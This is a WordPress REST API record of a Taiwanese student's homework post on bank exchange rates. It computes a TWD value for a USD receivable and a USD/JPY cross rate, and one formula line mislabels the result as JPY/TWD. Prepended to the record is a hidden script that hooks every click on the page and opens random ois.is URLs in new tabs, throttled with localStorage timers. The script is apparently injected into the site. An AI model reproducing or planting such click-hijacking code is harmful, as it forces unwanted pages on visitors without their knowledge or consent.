<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":956,"date":"2023-03-09T12:13:30","date_gmt":"2023-03-09T04:13:30","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154204\/?p=956"},"modified":"2023-03-09T16:05:03","modified_gmt":"2023-03-09T08:05:03","slug":"%e7%ac%ac2%e3%80%813%e9%80%b1%e4%bd%9c%e6%a5%ad","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=956","title":{"rendered":"\u7b2c2\u30013\u9031\u4f5c\u696d"},"content":{"rendered":"<h2>2.\u6839\u64da\u53f0\u7063\u9280\u884c\u7db2\u7ad9\u5831\u50f9\uff0c\u516c\u53f8\u6709\u4e00\u7b46 100 \u842c\u7f8e\u91d1\u61c9\u6536\u6b3e\uff0c\u8acb\u554f\u4e0d\u8003\u616e\u4ea4\u6613\u6210\u672c\u5728 2\/23 \u503c\u591a\u5c11\u65b0\u53f0\u5e63? \u8acb\u622a\u5716\u5176\u5831\u50f9\u8cc7\u8a0a\u4e14\u8aaa\u660e\u3002<\/h2>\n<h6>ANSWER:<\/h6>\n<h6>\u516c\u53f8\u6709\u4e00\u7b46100\u842c\u7f8e\u91d1\u61c9\u6536\u6b3e\u5230\u5e33\uff0c\u63a1\u7528\u7684\u662f\u5373\u671f\u532f\u7387\uff0c\u7531\u9280\u884c\u8cb7\u5165\uff0c\u6545\u532f\u7387\u70ba30.35\uff0c\u5728\u4e0d\u8003\u616e\u4ea4\u6613\u6210\u672c\u4e0b\uff0c\u57282\/23\u65e5\u503c1000000*30.35=30,350,000\u65b0\u53f0\u5e63\u3002<\/h6>\n<h5><\/h5>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-963\" src=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/03\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-03-09-155917-300x187.png\" alt=\"\" width=\"738\" height=\"460\" srcset=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/03\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-03-09-155917-300x187.png 300w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/03\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-03-09-155917-800x498.png 800w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/03\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-03-09-155917-768x479.png 768w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/03\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-03-09-155917.png 1491w\" sizes=\"(max-width: 738px) 100vw, 738px\" \/><\/p>\n<h2>3.\u6839\u64da\u524d\u8ff0 2 \u7684\u7db2\u7ad9\uff0cUSD\/TWD \u8207 JPY\/TWD\uff0c\u8a08\u7b97\u51fa USD\/JPY \u7684 bid \u50f9\u683c(\u8981\u5c07\u5831\u50f9\u622a\u5716\u9644\u4e0a)\uff0c\u8aaa\u660e\u8a08\u7b97\u904e\u7a0b\u3002<\/h2>\n<h6>ANSWER:<\/h6>\n<h6>\u7531\u5373\u671f\u532f\u7387:<\/h6>\n<h6>bid\u5373\u671f\u8cb7\u5165USD\/TWD\u70ba30.35\uff0cJPY\/TWD\u70ba0.2234\uff0c<\/h6>\n<h6>\u518d\u7531(USD\/TWD)\/(JPY\/TWD)=JPY\/TWD=30.35\/0.2234=135.854969=135.855<\/h6>\n<p>\u8cc7\u6599\u4f86\u6e90:https:\/\/rate.bot.com.tw\/xrt\/all\/2023-02-23<\/p>\n","protected":false},"excerpt":{"rendered":"<p>2.\u6839\u64da\u53f0\u7063\u9280\u884c\u7db2\u7ad9\u5831\u50f9\uff0c\u516c\u53f8\u6709\u4e00\u7b46 100 \u842c\u7f8e\u91d1\u61c9\u6536\u6b3e\uff0c\u8acb\u554f\u4e0d\u8003\u616e\u4ea4\u6613\u6210\u672c\u5728<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/956"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=956"}],"version-history":[{"count":5,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/956\/revisions"}],"predecessor-version":[{"id":967,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/956\/revisions\/967"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=956"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=956"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=956"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}